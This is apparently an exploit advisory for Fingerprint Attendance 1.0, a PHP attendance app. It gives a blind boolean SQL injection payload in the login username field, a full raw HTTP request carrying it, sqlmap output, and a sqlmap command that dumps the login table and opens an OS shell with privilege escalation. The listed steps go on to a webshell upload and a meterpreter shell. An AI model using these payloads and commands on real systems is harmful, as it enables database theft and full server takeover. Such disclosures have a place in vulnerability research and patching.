# Title: Fingerprint Attendance 1.0 Blind boolean SQLi To Rce
# Author: Hejap Zairy
# Date: 28.07.2022
# Vendor: https://www.vetbossel.in/fingerprint-attendance-project-php/
# Software: https://app.box.com/s/xlyqalhvayq8oi25tqykcbouzrrjytqy
# Reference: https://github.com/Matrix07ksa
# Tested on: Windows, MySQL, Apache


# Steps
# 1.- Go to : https://0day.gov/fingerprint/login.php
# 2 - manual inject Blind SQli Payload: username=hejap' OR NOT 8425=8425#&password=hejap&button=Login
# 3 - SQLi To RCE r00t
# 4 - Ubload webshell 
# 5 - Web Shell to meterpreter full tty shell

#vulnerability Code  php

---
```
$user = $_POST['username'];
$pass = sha1($_POST['password']);
$passwrong = false;

  if(isSet($_POST["button"]))  
    switch($_POST["button"]){
    case "Login" : 
      $passwrong = login($con, $user, $pass); //echo "Login";
      break;
    } // ----------------- Inside if(isSet($_POST["button"]))----------------

```
---
#Status: CRITICAL
[+] Payload GET

---

POST /fingerprint/src/ HTTP/1.1
Host: 0day.gov
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 61
Origin: http://0day.gov
Connection: close
Referer: http://0day.gov/fingerprint/src/
Cookie: PHPSESSID=c9sbs70le23qois1riekoj8osg
Upgrade-Insecure-Requests: 1

username=hejap'+OR+NOT+8425=8425#&password=hejap&button=Login
---

```
---
Parameter: username (POST)
    Type: boolean-based blind
    Title: OR boolean-based blind - WHERE or HAVING clause (NOT - MySQL comment)
    Payload: username=hejap' OR NOT 8425=8425#&password=hejap&button=Login
---


```
#Blind SQLi Time to Rce
#ُExploit 


sqlmap -r 0day_Hejap.txt -p username 
'  --hex  --dbms=mysql --technique=b  --random-agent  --eta   -D ad_39 -T login  --dump --os-shell    --priv-esc  --forms --eta 
# Description:
The Blind boolean SQLi vulnerability was converted to rce due to the permissions I have in the database and it was privesc

# Proof and Exploit:
https://i.imgur.com/uYBA1C3.png
https://i.imgur.com/nQFdjNu.png